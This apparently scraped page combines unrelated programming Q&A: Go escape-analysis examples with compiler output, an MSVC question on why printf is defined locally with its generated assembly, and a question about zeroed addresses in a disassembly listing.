.:0 0x455687 0000 add byte ptr [rax], al
.:0 0x455689 0c00 or al, 0x0
.:0 0x45568b 004062 add byte ptr [rax+0x62], al
.:0 0x45568e 0000 add byte ptr [rax], al
.:0 0x455690 c0684500 shr byte ptr [rax+0x45], 0x0
Escape analysis determines whether any references to a value escape the function in which the value is declared.
In Go, arguments are passed by value, typically on the stack; the stack is reclaimed at the end of the function. However, returning the reference &values from the memAllocRepro function gives the values parameter declared in memAllocRepro a lifetime beyond the end of the function. The values variable is moved to the heap.
memAllocRepro: &values: Alloc
./escape.go:3:6: cannot inline memAllocRepro: unhandled op FOR
./escape.go:7:9: &values escapes to heap
./escape.go:7:9: from ~r1 (return) at ./escape.go:7:2
./escape.go:3:37: moved to heap: values
The noAlloc1 function is inlined in the main function. The values argument, if necessary, is declared in and does not escape from the main function.
noAlloc1: &values: No Alloc
./escape.go:10:6: can inline noAlloc1 as: func([]int)*[]int{return &values}
./escape.go:23:10: inlining call to noAlloc1 func([]int)*[]int{return &values}
The noAlloc2 function values argument is returned as values. values is returned on the stack. There is no reference to values in the noAlloc2 function and so no escape.
noAlloc2: values: No Alloc
package main
func memAllocRepro(values []int) *[]int {
for {
break
}
return &values
}
func noAlloc1(values []int) *[]int {
return &values
}
func noAlloc2(values []int) []int {
for {
break
}
return values
}
func main() {
memAllocRepro(nil)
noAlloc1(nil)
noAlloc2(nil)
}
Output:
$ go build -a -gcflags='-m -m' escape.go
# command-line-arguments
./escape.go:3:6: cannot inline memAllocRepro: unhandled op FOR
./escape.go:10:6: can inline noAlloc1 as: func([]int) *[]int { return &values }
./escape.go:14:6: cannot inline noAlloc2: unhandled op FOR
./escape.go:21:6: cannot inline main: non-leaf function
./escape.go:23:10: inlining call to noAlloc1 func([]int) *[]int { return &values }
./escape.go:7:9: &values escapes to heap
./escape.go:7:9: from ~r1 (return) at ./escape.go:7:2
./escape.go:3:37: moved to heap: values
./escape.go:11:9: &values escapes to heap
./escape.go:11:9: from ~r1 (return) at ./escape.go:11:2
./escape.go:10:32: moved to heap: values
./escape.go:14:31: leaking param: values to result ~r1 level=0
./escape.go:14:31: from ~r1 (return) at ./escape.go:18:2
./escape.go:23:10: main &values does not escape
$

Why is printf defined locally as opposed to getchar, which is defined externally?

When using assembly language with MASM (x86 architecture), one can make use of the standard C functions by including libraries. For example: printf and getchar.
When compiling with Asembly With Source Code/FAs in Visual Studio and inspecting the resulting assembly file I stumbled upon the following:
PUBLIC _printf
EXTRN __imp__getchar : PROC
_printf is declared PUBLIC and defined locally (inline within the same file, thus not defined externally in the library file), while _imp_getchar is defined externally
This is the resulting _printf definition the compiler generated while compiling in debug:
_TEXT SEGMENT
__ArgList$ = -20 ; size = 4
__Result$ = -8 ; size = 4
__Format$ = 8 ; size = 4
_printf PROC ; COMDAT
; 950 : {
push ebp
mov ebp, esp
sub esp, 216 ; 000000d8H
push ebx
push esi
push edi
lea edi, DWORD PTR [ebp-216]
mov ecx, 54 ; 00000036H
mov eax, -858993460 ; ccccccccH
rep stosd
; 951 : int _Result;
; 952 : va_list _ArgList;
; 953 : __crt_va_start(_ArgList, _Format);
call ??$__vcrt_va_start_verify_argument_type#QBD##YAXXZ ; __vcrt_va_start_verify_argument_type<char const * const>
lea eax, DWORD PTR __Format$[ebp+4]
mov DWORD PTR __ArgList$[ebp], eax
; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList);
mov eax, DWORD PTR __ArgList$[ebp]
push eax
push 0
mov ecx, DWORD PTR __Format$[ebp]
push ecx
mov esi, esp
push 1
call DWORD PTR __imp____acrt_iob_func
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
push eax
call __vfprintf_l
add esp, 16 ; 00000010H
mov DWORD PTR __Result$[ebp], eax
; 955 : __crt_va_end(_ArgList);
mov DWORD PTR __ArgList$[ebp], 0
; 956 : return _Result;
mov eax, DWORD PTR __Result$[ebp]
; 957 : }
pop edi
pop esi
pop ebx
add esp, 216 ; 000000d8H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_printf ENDP
_TEXT ENDS
My question
Why is _printf defined locally as opposed to getchar, which is defined externally?
The code for printf is right there in your listing. If you remove the assembly, you get:
; 950 : {
; 951 : int _Result;
; 952 : va_list _ArgList;
; 953 : __crt_va_start(_ArgList, _Format);
; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList);
; 955 : __crt_va_end(_ArgList);
; 956 : return _Result;
; 957 : }
So, printf is an (inline?) function that calls _vfprintf_l, which does all the heavy work (and is probably used to implement other C library functions as well).

Why certain address shows 00000000

00000583 : A100000000 MOV eax,dword ptr ds:[00000000]
00000588 : 50 PUSH eax
00000589 : 83EC24 SUB esp,24
0000058C : 53 PUSH ebx
0000058D : 56 PUSH esi
0000058E : 57 PUSH edi
0000058F : A120798F02 MOV eax,dword ptr ds:[028F7920]
00000594 : 33C5 XOR eax,ebp
00000596 : 50 PUSH eax
00000597 : 8D45F4 LEA eax,dword ptr ss:[ebp+F4]
0000059A : 64 fs:
0000059B : A300000000 MOV dword ptr ds:[00000000],eax
000005A0 : 894DEC MOV dword ptr ss:[ebp+EC],ecx
000005A3 : 8B4130 MOV eax,dword ptr ds:[ecx+30]
000005A6 : 8B5138 MOV edx,dword ptr ds:[ecx+38]
000005A9 : 8B493C MOV ecx,dword ptr ds:[ecx+3C]
I am trying to get all 00000000 back to original anyway please !!

Resources